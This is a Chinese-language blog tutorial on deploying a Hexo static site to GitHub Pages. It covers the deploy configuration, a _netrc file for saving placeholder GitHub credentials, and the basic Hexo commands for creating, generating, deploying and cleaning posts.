​ Hexo 提供了快速方便的一键部署功能,让您只需一条命令就能将网站部署到服务器上。

1
$ hexo deploy

​ 在开始之前,您必须先在 _config.yml 中修改参数,一个正确的部署配置中至少要有 type 参数,例如:

1
2
3
deploy:
- type: git
repo: https://github.com/Username/Username.github.io

​ 您可同时使用多个 deployer,Hexo 会依照顺序执行每个 deployer。

​ 为了之后方便部署,可以使用本地持久化的方式来记住登录用户名和密码。

​ 首先,在系统环境变量中设置一个环境变量

1
2
变量名 HOME
变量值 %USERPROFILE%

2019031701

​ 接着在你的用户目录(C:\Users\username)下新建一个叫 _netrc的文件

​ 编辑这个文件

1
2
3
machine github.com
login username
password password

三、开始写作

1. 创建一篇新的文章
1
$ hexo new <title>

该命令会在./source/_posts文件夹内创建一个新的title.md。我们在这个文件内进行Markdown的书写就可以了。

2. 生成静态网页
1
$ hexo generate

该命令会在本地生成所需的资源与HTML文件。

3. 部署网页
1
$ hexo deploy

该命令会将生成后的网页部署到指定的远程服务器。

4.清除本地发布文件
1
$ hexo clean
5. 常用命令
1
2
3
$ hexo new <title>
$ hexo clean
$ hexo g -d
12
Lhy And Fyt

Lhy And Fyt

This is a technique shareing blog.
11 日志
12 标签
© 2020 Lhy And Fyt
由 Hexo 强力驱动 v3.8.0
|
主题 – NexT.Gemini v7.0.1